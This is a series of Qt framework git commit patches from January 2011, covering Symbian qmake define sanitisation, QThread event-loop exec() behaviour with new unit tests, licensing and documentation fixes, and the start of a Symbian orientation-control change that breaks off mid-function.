    diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp
    index a2b567d..4f9f22d 100644
    --- a/qmake/generators/symbian/symmake.cpp
    +++ b/qmake/generators/symbian/symmake.cpp
    @@ -83,6 +83,8 @@
     #define VAR_CFLAGS "QMAKE_CFLAGS"
     #define VAR_LFLAGS "QMAKE_LFLAGS"
     
    +#define DEFINE_REPLACE_REGEXP "[^A-Z0-9_]"
    +
     QString SymbianMakefileGenerator::fixPathForMmp(const QString& origPath, const QDir& parentDir)
     {
         static QString epocRootStr;
    @@ -165,11 +167,15 @@ void SymbianMakefileGenerator::writeHeader(QTextStream &t)
         QString bldinfDefine = shortProFilename;
         bldinfDefine.append("_");
         bldinfDefine.append(generate_uid(project->projectFile()));
    +    bldinfDefine = bldinfDefine.toUpper();
    +
    +    // replace anything not alphanumeric with underscore
    +    QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
    +    bldinfDefine.replace(replacementMask, QLatin1String("_"));
     
         bldinfDefine.prepend("BLD_INF_");
    -    removeEpocSpecialCharacters(bldinfDefine);
     
    -    t << "#define " << bldinfDefine.toUpper() << endl << endl;
    +    t << "#define " << bldinfDefine << endl << endl;
     }
     
     bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
    @@ -902,13 +908,17 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
     
         const QStringList &subdirs = project->values("SUBDIRS");
         foreach(QString item, subdirs) {
    +        bool fromFile = false;
             QString fixedItem;
             if (!project->isEmpty(item + ".file")) {
                 fixedItem = project->first(item + ".file");
    +            fromFile = true;
             } else if (!project->isEmpty(item + ".subdir")) {
                 fixedItem = project->first(item + ".subdir");
    +            fromFile = false;
             } else {
                 fixedItem = item;
    +            fromFile = item.endsWith(Option::pro_ext);
             }
     
             QString condition;
    @@ -917,9 +927,15 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
     
             QFileInfo subdir(fileInfo(fixedItem));
             QString relativePath = directory.relativeFilePath(fixedItem);
    -        QString subdirFileName = subdir.completeBaseName();
    -        QString fullProName = subdir.absoluteFilePath();;
    +        QString fullProName = subdir.absoluteFilePath();
             QString bldinfFilename;
    +        QString subdirFileName;
    +
    +        if (fromFile) {
    +            subdirFileName = subdir.completeBaseName();
    +        } else {
    +            subdirFileName = subdir.fileName();
    +        }
     
             if (subdir.isDir()) {
                 // Subdir is a regular project
    @@ -941,7 +957,10 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
             QString uid = generate_uid(fullProName);
             QString bldinfDefine = QString("BLD_INF_") + subdirFileName + QString("_") + uid;
             bldinfDefine = bldinfDefine.toUpper();
    -        removeEpocSpecialCharacters(bldinfDefine);
    +
    +        // replace anything not alphanumeric with underscore
    +        QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
    +        bldinfDefine.replace(replacementMask, QLatin1String("_"));
     
             if (!condition.isEmpty())
                 t << "#if defined(" << condition << ")" << endl;
    @@ -1124,4 +1143,4 @@ QString SymbianMakefileGenerator::generateLocFileTarget(QTextStream& t, const QS
         }
     
         return locFile;
    -}
    \ No newline at end of file
    +}
    -- 
    cgit v0.12
    
    
    From d37dce622e8bc14cd898a2e388d395492e6c51e0 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 14:55:33 +0100
    Subject: Doc: Updated the information about commercial editions of Qt.
    
    ---
     doc/src/legal/commercialeditions.qdoc | 39 ++++++++++++++++++++++++++++-------
     1 file changed, 31 insertions(+), 8 deletions(-)
    
    diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc
    index 37aed3f..2537a13 100644
    --- a/doc/src/legal/commercialeditions.qdoc
    +++ b/doc/src/legal/commercialeditions.qdoc
    @@ -37,23 +37,46 @@
         If you want to develop Free or Open Source software for release using a recognized
         Open Source license, you can use the \l{Open Source Versions of Qt}.
     
    -    The table below summarizes the differences between the two commercial editions:
    +    The following table is a summary of the licenses under which Qt is made available.
    +
    +    \table
    +    \row \o \bold{Qt Commercial Developer License}
    +    \o The Qt Commercial Developer License is the appropriate version to use for the
    +    development of proprietary and/or commercial software where the developer does not
    +    wish to share or distribute any source code of the Qt libraries or otherwise comply
    +    with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General
    +    Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version
    +    3.0}.
    +    \row \o \bold{Qt GNU LGPL v. 2.1}
    +    \o This version of Qt is appropriate for the development of Qt applications
    +    (proprietary or open source) provided you can comply with the terms and conditions
    +    contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}.
    +    \row \o \bold{Qt GNU GPL v. 3.0}
    +    \o This version of Qt is appropriate for the development of Qt applications where
    +    you wish to use such applications in combination with software subject to the terms
    +    of the GNU General Public License version 3.0 or where you are otherwise willing to
    +    comply with the terms of the
    +    \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}.
    +    \endtable
     
         Please see the \l{Supported Platforms}{list of supported
         platforms} for up-to-date information about the various platforms
         and compilers that Qt supports.
     
    -    On the Qt web site, you can find a
    +    On the Qt Web site, you can find a
         \l{Qt Licensing Overview} and information on \l{Qt License Pricing}
         for commercial editions of Qt and other Qt-related products.
     
    -    To purchase, please visit the \l{How to Order}{online order form}.
    -
    -    For further information and assistance, please contact Qt sales.
    +    \section1 Purchasing and Sales Information
     
    -    Web: http://qt.nokia.com/contact.
    +    To purchase, please visit the \l{How to Order}{online order form}.
     
    -    Phone, U.S. office (for North America): \bold{1-650-813-1676}.
    +    For further information and assistance, please contact the Qt sales team
    +    via one of the following channels:
     
    -    Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}.
    +    \table
    +    \row \o Web: \o \bold{http://qt.nokia.com/contact}
    +    \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020}
    +    \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00}
    +    \endtable
     */
    -- 
    cgit v0.12
    
    
    From 2e72a8b19ea6c674fb4777860dac50faa5d387e6 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Thu, 27 Jan 2011 11:49:49 +0100
    Subject: Restore Qt 4.6 behaviour: exec() always enters the event loop.
    
    In Qt 4.6 as well as 4.7's QCoreApplication and QEventLoop, calling
    exec() always enters the event loop, even if you had tried to
    quit()/exit() it before entering, with one exception (noted in the
    unit tests; this difference has been in Qt since at least Qt 4.2).
    
    Add unit tests to ensure all of the three classes have the same
    behaviour.
    
    Decide if we want to match the behaviours in Qt 4.8.
    
    Reviewed-by: Bradley T. Hughes
    ---
     src/corelib/thread/qthread.cpp                     |   5 +-
     .../auto/qcoreapplication/tst_qcoreapplication.cpp |  45 +++++
     tests/auto/qeventloop/tst_qeventloop.cpp           |  41 ++++-
     tests/auto/qthread/tst_qthread.cpp                 | 191 +++++++++++++++------
     4 files changed, 221 insertions(+), 61 deletions(-)
    
    diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp
    index f368192..f4bfa5d 100644
    --- a/src/corelib/thread/qthread.cpp
    +++ b/src/corelib/thread/qthread.cpp
    @@ -482,10 +482,7 @@ int QThread::exec()
         Q_D(QThread);
         QMutexLocker locker(&d->mutex);
         d->data->quitNow = false;
    -    if (d->exited) {
    -        d->exited = false;
    -        return d->returnCode;
    -    }
    +    d->exited = false;
         locker.unlock();
     
         QEventLoop eventLoop;
    diff --git a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
    index 95055d1..bc69461 100644
    --- a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
    +++ b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
    @@ -59,6 +59,9 @@ private slots:
         void applicationPid();
         void globalPostedEventsCount();
         void processEventsAlwaysSendsPostedEvents();
    +    void reexec();
    +    void execAfterExit();
    +    void eventLoopExecAfterExit();
     };
     
     class EventSpy : public QObject
    @@ -524,5 +527,47 @@ void tst_QCoreApplication::processEventsAlwaysSendsPostedEvents()
         } while (t.elapsed() < 3000);
     }
     
    +void tst_QCoreApplication::reexec()
    +{
    +    int argc = 1;
    +    char *argv[] = { "tst_qcoreapplication" };
    +    QCoreApplication app(argc, argv);
    +
    +    // exec once
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +
    +    // and again
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +}
    +
    +void tst_QCoreApplication::execAfterExit()
    +{
    +    int argc = 1;
    +    char *argv[] = { "tst_qcoreapplication" };
    +    QCoreApplication app(argc, argv);
    +
    +    app.exit(1);
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +}
    +
    +void tst_QCoreApplication::eventLoopExecAfterExit()
    +{
    +    int argc = 1;
    +    char *argv[] = { "tst_qcoreapplication" };
    +    QCoreApplication app(argc, argv);
    +
    +    // exec once and exit
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +
    +    // and again, but this time using a QEventLoop
    +    QEventLoop loop;
    +    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
    +    QCOMPARE(loop.exec(), 0);
    +}
    +
     QTEST_APPLESS_MAIN(tst_QCoreApplication)
     #include "tst_qcoreapplication.moc"
    diff --git a/tests/auto/qeventloop/tst_qeventloop.cpp b/tests/auto/qeventloop/tst_qeventloop.cpp
    index 7af722f..6860f19 100644
    --- a/tests/auto/qeventloop/tst_qeventloop.cpp
    +++ b/tests/auto/qeventloop/tst_qeventloop.cpp
    @@ -112,6 +112,10 @@ signals:
     public:
         QMutex mutex;
         QWaitCondition cond;
    +    volatile int result1;
    +    volatile int result2;
    +    MultipleExecThread() : result1(0xdead), result2(0xbeef) {}
    +
         void run()
         {
             QMutexLocker locker(&mutex);
    @@ -124,13 +128,13 @@ public:
             connect(&timer, SIGNAL(timeout()), SLOT(quit()), Qt::DirectConnection);
             timer.setInterval(1000);
             timer.start();
    -        (void) exec();
    +        result1 = exec();
     
             // this should return immediately, since exit() has been called
             cond.wakeOne();
             cond.wait(&mutex);
             QEventLoop eventLoop;
    -        (void) eventLoop.exec();
    +        result2 = eventLoop.exec();
         }
     };
     
    @@ -197,7 +201,9 @@ private slots:
         void symbianNestedActiveSchedulerLoop();
         void processEvents();
         void exec();
    +    void reexec();
         void exit();
    +    void execAfterExit();
         void wakeUp();
         void quit();
         void processEventsExcludeSocket();
    @@ -398,7 +404,9 @@ void tst_QEventLoop::exec()
         }
     
         {
    -        // calling exec() after exit()/quit() should return immediately
    +        // calling QEventLoop::exec() after a thread loop has exit()ed should return immediately
    +        // Note: this behaviour differs from QCoreApplication and QEventLoop
    +        // see tst_QCoreApplication::eventLoopExecAfterExit, tst_QEventLoop::reexec
             MultipleExecThread thread;
     
             // start thread and wait for checkpoint
    @@ -411,6 +419,8 @@ void tst_QEventLoop::exec()
             thread.cond.wakeOne();
             thread.cond.wait(&thread.mutex);
             QVERIFY(spy.count() > 0);
    +        int v = thread.result1;
    +        QCOMPARE(v, 0);
     
             // exec should return immediately
             spy.clear();
    @@ -418,6 +428,8 @@ void tst_QEventLoop::exec()
             thread.mutex.unlock();
             thread.wait();
             QCOMPARE(spy.count(), 0);
    +        v = thread.result2;
    +        QCOMPARE(v, -1);
         }
     
         {
    @@ -462,9 +474,32 @@ void tst_QEventLoop::exec()
     #endif
     }
     
    +void tst_QEventLoop::reexec()
    +{
    +    QEventLoop loop;
    +
    +    // exec once
    +    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
    +    QCOMPARE(loop.exec(), 0);
    +
    +    // and again
    +    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
    +    QCOMPARE(loop.exec(), 0);
    +}
    +
     void tst_QEventLoop::exit()
     { DEPENDS_ON(exec()); }
     
    +void tst_QEventLoop::execAfterExit()
    +{
    +    QEventLoop loop;
    +    EventLoopExiter obj(&loop);
    +
    +    QMetaObject::invokeMethod(&obj, "exit", Qt::QueuedConnection);
    +    loop.exit(1);
    +    QCOMPARE(loop.exec(), 0);
    +}
    +
     void tst_QEventLoop::wakeUp()
     {
         EventLoopThread thread;
    diff --git a/tests/auto/qthread/tst_qthread.cpp b/tests/auto/qthread/tst_qthread.cpp
    index e6bf9ce..c7036e4 100644
    --- a/tests/auto/qthread/tst_qthread.cpp
    +++ b/tests/auto/qthread/tst_qthread.cpp
    @@ -86,6 +86,7 @@ private slots:
         void start();
         void terminate();
         void quit();
    +    void execAfterQuit();
         void wait();
         void started();
         void finished();
    @@ -265,6 +266,34 @@ public:
         }
     };
     
    +class ExecAfterQuitThreadHelper: public QObject
    +{
    +    Q_OBJECT
    +    QThread *thr;
    +public:
    +    ExecAfterQuitThreadHelper(QThread *thr) : thr(thr) {}
    +public slots:
    +    void doIt() { thr->exit(0); }
    +};
    +
    +class ExecAfterQuitThread: public QThread
    +{
    +public:
    +    int returnValue;
    +    void run()
    +    {
    +        ExecAfterQuitThreadHelper obj(this);
    +
    +        QMetaObject::invokeMethod(&obj, "doIt", Qt::QueuedConnection);
    +        exit(1);
    +
    +        // returnValue will be either 0 or 1, depending on which of the two
    +        // above take effect. The correct value is 0, since exit(1) before
    +        // exec() should have no effect
    +        returnValue = exec();
    +    }
    +};
    +
     tst_QThread::tst_QThread()
     
     {
    @@ -424,34 +453,52 @@ void tst_QThread::stackSize()
     
     void tst_QThread::exit()
     {
    -    Exit_Thread thread;
    -    thread.object = new Exit_Object;
    -    thread.object->moveToThread(&thread);
    -    thread.code = 42;
    -    thread.result = 0;
    -    QVERIFY(!thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QMutexLocker locker(&thread.mutex);
    -    thread.start();
    -    QVERIFY(thread.isRunning());
    -    QVERIFY(!thread.isFinished());
    -    thread.cond.wait(locker.mutex());
    -    QVERIFY(thread.wait(five_minutes));
    -    QVERIFY(thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QCOMPARE(thread.result, thread.code);
    -    delete thread.object;
    +    {
    +        Exit_Thread thread;
    +        thread.object = new Exit_Object;
    +        thread.object->moveToThread(&thread);
    +        thread.code = 42;
    +        thread.result = 0;
    +        QVERIFY(!thread.isFinished());
    +        QVERIFY(!thread.isRunning());
     
    -    Exit_Thread thread2;
    -    thread2.object = 0;
    -    thread2.code = 53;
    -    thread2.result = 0;
    -    QMutexLocker locker2(&thread2.mutex);
    -    thread2.start();
    -    thread2.exit(thread2.code);
    -    thread2.cond.wait(locker2.mutex());
    -    QVERIFY(thread2.wait(five_minutes));
    -    QCOMPARE(thread2.result, thread2.code);
    +        QMutexLocker locker(&thread.mutex);
    +        thread.start();
    +        QVERIFY(thread.isRunning());
    +        QVERIFY(!thread.isFinished());
    +        // but the thread is not running the event loop yet (the mutex is locked)
    +
    +        // start the event loop
    +        thread.cond.wait(locker.mutex());
    +
    +        // the Exit_Object above will cause the thread to exit
    +        QVERIFY(thread.wait(five_minutes));
    +        QVERIFY(thread.isFinished());
    +        QVERIFY(!thread.isRunning());
    +        QCOMPARE(thread.result, thread.code);
    +        delete thread.object;
    +    }
    +
    +    {
    +        Exit_Thread thread2;
    +        thread2.object = 0;
    +        thread2.code = 53;
    +        thread2.result = 0;
    +        QMutexLocker locker2(&thread2.mutex);
    +        thread2.start();
    +
    +        // the mutex is locked, so the thread has *not* started running the event loop yet
    +        // this will do nothing:
    +        thread2.exit(thread2.code);
    +
    +        // the thread will now start running
    +        thread2.cond.wait(locker2.mutex());
    +
    +        // this will cause it to exit now
    +        thread2.exit(++thread2.code);
    +        QVERIFY(thread2.wait(five_minutes));
    +        QCOMPARE(thread2.result, thread2.code);
    +    }
     }
     
     void tst_QThread::start()
    @@ -498,32 +545,59 @@ void tst_QThread::terminate()
     
     void tst_QThread::quit()
     {
    -    Quit_Thread thread;
    -    thread.object = new Quit_Object;
    -    thread.object->moveToThread(&thread);
    -    thread.result = -1;
    -    QVERIFY(!thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QMutexLocker locker(&thread.mutex);
    -    thread.start();
    -    QVERIFY(thread.isRunning());
    -    QVERIFY(!thread.isFinished());
    -    thread.cond.wait(locker.mutex());
    -    QVERIFY(thread.wait(five_minutes));
    -    QVERIFY(thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QCOMPARE(thread.result, 0);
    -    delete thread.object;
    +    // very similar to exit() above
    +    {
    +        Quit_Thread thread;
    +        thread.object = new Quit_Object;
    +        thread.object->moveToThread(&thread);
    +        thread.result = -1;
    +        QVERIFY(!thread.isFinished());
    +        QVERIFY(!thread.isRunning());
     
    -    Quit_Thread thread2;
    -    thread2.object = 0;
    -    thread2.result = -1;
    -    QMutexLocker locker2(&thread2.mutex);
    -    thread2.start();
    -    thread2.quit();
    -    thread2.cond.wait(locker2.mutex());
    -    QVERIFY(thread2.wait(five_minutes));
    -    QCOMPARE(thread2.result, 0);
    +        // start the thread, but keep the event loop from starting
    +        // (while the mutex is locked)
    +        QMutexLocker locker(&thread.mutex);
    +        thread.start();
    +        QVERIFY(thread.isRunning());
    +        QVERIFY(!thread.isFinished());
    +
    +        // unlock the mutex and let the event loop run
    +        // the Quit_Object above will cause the thread to quit
    +        thread.cond.wait(locker.mutex());
    +        QVERIFY(thread.wait(five_minutes));
    +        QVERIFY(thread.isFinished());
    +        QVERIFY(!thread.isRunning());
    +        QCOMPARE(thread.result, 0);
    +        delete thread.object;
    +    }
    +
    +    {
    +        Quit_Thread thread2;
    +        thread2.object = 0;
    +        thread2.result = -1;
    +
    +        // start the thread, but keep the event loop from starting
    +        // (while the mutex is locked)
    +        QMutexLocker locker2(&thread2.mutex);
    +        thread2.start();
    +        thread2.quit(); // does nothing, the event loop is not running!
    +
    +        // unlock the mutex and let the event loop run
    +        thread2.cond.wait(locker2.mutex());
    +
    +        // there's no Quit_Object so it won't quit on its own
    +        thread2.quit();
    +        QVERIFY(thread2.wait(five_minutes));
    +        QCOMPARE(thread2.result, 0);
    +    }
    +}
    +
    +void tst_QThread::execAfterQuit()
    +{
    +    ExecAfterQuitThread thread;
    +    thread.start();
    +    QVERIFY(thread.wait());
    +    QCOMPARE(thread.returnValue, 0);
     }
     
     void tst_QThread::wait()
    @@ -994,8 +1068,17 @@ void tst_QThread::QTBUG15378_exitAndExec()
         Thread thread;
         thread.value = 0;
         thread.start();
    -    thread.exit(556);
    -    thread.sem1.release(); //should exit the first loop
    +    thread.exit(42); // will do nothing, this value should not appear
    +    thread.sem1.release(); //should enter the first loop
    +
    +    Exit_Object *exit_object = new Exit_Object;
    +    exit_object->code = 556;
    +    exit_object->thread = &thread;
    +    QMetaObject::invokeMethod(exit_object, "slot", Qt::QueuedConnection);
    +    exit_object->deleteLater();
    +    exit_object->moveToThread(&thread); // should exit the first loop
    +    exit_object = 0;
    +
         thread.sem2.acquire();
         int v = thread.value;
         QCOMPARE(v, 556);
    -- 
    cgit v0.12
    
    
    From f42ac3e793907e15357b73360adf9dbdebfc22c0 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 15:24:13 +0100
    Subject: Doc: Fixed a broken link.
    
    ---
     doc/src/modules.qdoc | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
    index 60dd028..38a7a8b 100644
    --- a/doc/src/modules.qdoc
    +++ b/doc/src/modules.qdoc
    @@ -30,7 +30,7 @@
         \title All Modules
         \startpage index.html Qt Reference Documentation
         \nextpage QtCore
    -    
    +
         \ingroup classlists
     
         \brief Qt 4 comprises several modules. Each module is a separate
    @@ -40,7 +40,7 @@
         \header \o {2,1} \bold{Modules for general software development}
         \row \o \l{QtCore} \o Core non-graphical classes used by other modules
         \row \o \l{QtGui} \o Graphical user interface (GUI) components
    -    \row \o \l{qtmultimedia.html}{QtMultimedia} \o Classes for low-level multimedia functionality
    +    \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality
         \row \o \l{QtNetwork} \o Classes for network programming
         \row \o \l{QtOpenGL} \o OpenGL support classes
         \row \o \l{QtOpenVG} \o OpenVG support classes
    -- 
    cgit v0.12
    
    
    From 339e3804abf1dbeac9fe89699c2dc4ebc94d5cdd Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 16:31:32 +0100
    Subject: Doc: Fixed confusing wording of a sentence.
    
    Task-number: QTBUG-16875
    Reviewed-by: Takumi ASAKI
    ---
     src/gui/itemviews/qabstractitemview.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp
    index 37507dd..081a6d9 100644
    --- a/src/gui/itemviews/qabstractitemview.cpp
    +++ b/src/gui/itemviews/qabstractitemview.cpp
    @@ -622,9 +622,9 @@ QAbstractItemView::~QAbstractItemView()
         deleteLater() functions to explicitly delete them.
     
         The view \e{does not} take ownership of the model unless it is the model's
    -    parent object because the view may be shared between many different views.
    +    parent object because the model may be shared between many different views.
     
    -  \sa selectionModel(), setSelectionModel()
    +    \sa selectionModel(), setSelectionModel()
     */
     void QAbstractItemView::setModel(QAbstractItemModel *model)
     {
    -- 
    cgit v0.12
    
    
    From 9d94a365582cfcc31cc10587413932a8f957e5ff Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 16:38:20 +0100
    Subject: Doc: Unindented a code snippet.
    
    ---
     doc/src/declarative/modules.qdoc | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
    index 1dca28c..3bb69da 100644
    --- a/doc/src/declarative/modules.qdoc
    +++ b/doc/src/declarative/modules.qdoc
    @@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number.
     This can be seen in the snippet commonly found at the top of QML files:
     
     \qml
    -    import QtQuick 1.0
    +import QtQuick 1.0
     \endqml
     
     This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
    -- 
    cgit v0.12
    
    
    From 4a100d27cca824114c9bfa5e88096835fadd8a27 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 16:39:01 +0100
    Subject: Avoid hard-coding product names in page titles.
    
    Fall back to Qt if no product name is used.
    ---
     tools/qdoc3/htmlgenerator.cpp | 10 ++++------
     1 file changed, 4 insertions(+), 6 deletions(-)
    
    diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
    index 768be46..196bd44 100644
    --- a/tools/qdoc3/htmlgenerator.cpp
    +++ b/tools/qdoc3/htmlgenerator.cpp
    @@ -1642,12 +1642,10 @@ void HtmlGenerator::generateHeader(const QString& title,
         QString shortVersion = myTree->version();
         if (shortVersion.count(QChar('.')) == 2)
             shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
    -    if (!shortVersion.isEmpty()) {
    -        if (project == "QSA")
    -            shortVersion = "QSA " + shortVersion + ": ";
    -        else
    -            shortVersion = "Qt " + shortVersion + ": ";
    -    }
    +    if (!project.isEmpty())
    +        shortVersion = project + QLatin1String(" ") + shortVersion + QLatin1String(": ");
    +    else
    +        shortVersion = QLatin1String("Qt ") + shortVersion + QLatin1String(": ");
     
         // Generating page title
         out() << "  " << shortVersion << protectEnc(title) << "\n";
    -- 
    cgit v0.12
    
    
    From 91f9b95b931f441e209ecb12c620e1657810f338 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 17:08:52 +0100
    Subject: Fixed whitespace.
    
    ---
     doc/src/template/style/style.css | 18 +++++++++---------
     1 file changed, 9 insertions(+), 9 deletions(-)
    
    diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
    index cac4e58..df2729c 100755
    --- a/doc/src/template/style/style.css
    +++ b/doc/src/template/style/style.css
    @@ -238,15 +238,15 @@
         {
             font-size: 13px;
         }
    -	.red
    -	{
    -		color:red;
    -	}
    -	.figCaption{
    -	color:#363534;
    -	font:italic 11px/1.2 Verdana;
    -	padding-top:0;
    -	}
    +    .red
    +    {
    +        color:red;
    +    }
    +    .figCaption{
    +        color:#363534;
    +        font:italic 11px/1.2 Verdana;
    +        padding-top:0;
    +    }
     /* end font style elements */
     
     /* global settings*/
    -- 
    cgit v0.12
    
    
    From bbd87cfe022fab15a5cac555ce155f9caa27ff06 Mon Sep 17 00:00:00 2001
    From: Geir Vattekar 
    Date: Thu, 27 Jan 2011 17:29:17 +0100
    Subject: Doc: Fixed typo in QCoreApplication docs
    
        Task-number: QTBUG-14274
    ---
     src/corelib/kernel/qcoreapplication.cpp | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp
    index 381be34..7d88b10 100644
    --- a/src/corelib/kernel/qcoreapplication.cpp
    +++ b/src/corelib/kernel/qcoreapplication.cpp
    @@ -462,10 +462,10 @@ QString qAppName()
         operations can call processEvents() to keep the application
         responsive.
     
    -    In general, we recommend that you create a QCoreApplication or
    -    a QApplication object in your \c main() function as early as
    -    possible. exit() will not return until the event loop exits;
    -    e.g., when quit() is called.
    +    In general, we recommend that you create a QCoreApplication or a
    +    QApplication object in your \c main() function as early as
    +    possible. exec() will not return until the event loop exits; e.g.,
    +    when quit() is called.
     
         Several static convenience functions are also provided. The
         QCoreApplication object is available from instance(). Events can
    -- 
    cgit v0.12
    
    
    From e0489b905d6a31c7a904ca2b62a1e60cd12dba4f Mon Sep 17 00:00:00 2001
    From: mread 
    Date: Tue, 25 Jan 2011 14:29:41 +0000
    Subject: Orientation control implementation for Symbian
    
    This used the orientation control QWidget attributes API from
    maemo5, and provides a simple implementation for Symbian.
    
    The essense of the implementation is that the latest setting
    of one of these QWidget orientation attributes will set the
    orientation for the whole app. Testing the attributes will return
    only the last attribute set, it will not return the app orientation
    state.
    
    A new task, QTBUG-16972, has been created to provide a more
    comprehensive implementation in the future. This may provide a more
    effective emulation of the maemo5 behaviour, or may incorporate
    further reaching concepts for QML rotations.
    
    Task-number: QTBUG-11785
    Reviewed-by: Shane Kearns
    ---
     src/corelib/global/qnamespace.h | 13 ++++++++++---
     src/gui/kernel/qt_s60_p.h       |  2 ++
     src/gui/kernel/qwidget.cpp      | 40 ++++++++++++++++++++++++++++++++++++++++
     3 files changed, 52 insertions(+), 3 deletions(-)
    
    diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
    index 4f3a742..e492345 100644
    --- a/src/corelib/global/qnamespace.h
    +++ b/src/corelib/global/qnamespace.h
    @@ -511,9 +511,16 @@ public:
     #if 0 // these values are reserved for Maemo5 - do not re-use them
             WA_Maemo5NonComposited = 126,
             WA_Maemo5StackedWindow = 127,
    -        WA_Maemo5PortraitOrientation = 128,
    -        WA_Maemo5LandscapeOrientation = 129,
    -        WA_Maemo5AutoOrientation = 130,
    +#endif
    +
    +        WA_LockPortraitOrientation = 128,
    +        WA_LockLandscapeOrientation = 129,
    +        WA_AutoOrientation = 130,
    +
    +#if 0 // these values are reserved for Maemo5 - do not re-use them
    +        WA_Maemo5PortraitOrientation = WA_LockPortraitOrientation,
    +        WA_Maemo5LandscapeOrientation = WA_LockLandscapeOrientation,
    +        WA_Maemo5AutoOrientation = WA_AutoOrientation,
             WA_Maemo5ShowProgressIndicator = 131,
     #endif
     
    diff --git a/src/gui/kernel/qt_s60_p.h b/src/gui/kernel/qt_s60_p.h
    index fdb35d5..40697bf 100644
    --- a/src/gui/kernel/qt_s60_p.h
    +++ b/src/gui/kernel/qt_s60_p.h
    @@ -141,6 +141,7 @@ public:
         int supportsPremultipliedAlpha : 1;
         int avkonComponentsSupportTransparency : 1;
         int menuBeingConstructed : 1;
    +    int orientationSet : 1;
         QApplication::QS60MainApplicationFactory s60ApplicationFactory; // typedef'ed pointer type
         static CEikButtonGroupContainer *cba;
     
    @@ -295,6 +296,7 @@ inline QS60Data::QS60Data()
       supportsPremultipliedAlpha(0),
       avkonComponentsSupportTransparency(0),
       menuBeingConstructed(0),
    +  orientationSet(0),
       s60ApplicationFactory(0)
     #ifdef Q_OS_SYMBIAN
       ,s60InstalledTrapHandler(0)
    diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp
    index 9a76b0a..e542a59 100644
    --- a/src/gui/kernel/qwidget.cpp
    +++ b/src/gui/kernel/qwidget.cpp
    @@ -124,6 +124,10 @@
     #include "qtabwidget.h" // Needed in inTabWidget()
     #endif // QT_KEYPAD_NAVIGATION
     
    +#ifdef Q_WS_S60
    +#include 
    +#endif
    +
     // widget/widget data creation count
     //#define QWIDGET_EXTRA_DEBUG
     //#define ALIEN_DEBUG
    @@ -10810,6 +10814,42 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
                 d->registerTouchWindow();
     #endif
             break;
    +    case Qt::WA_LockPortraitOrientation:
    +    case Qt::WA_LockLandscapeOrientation:
    +    case Qt::WA_AutoOrientation: {
    +        const Qt::WidgetAttribute orientations[3] = {
    +            Qt::WA_LockPortraitOrientation,
    +            Qt::WA_LockLandscapeOrientation,
    +            Qt::WA_AutoOrientation
    +        };
    +
    +        if (on) {
    +            // We can only have one of these set at a time
    +            for (int i = 0; i < 3; ++i) {
    +                if (orientations[i] != attribute)
    +                    setAttribute_internal(orientations[i], false, data, d);
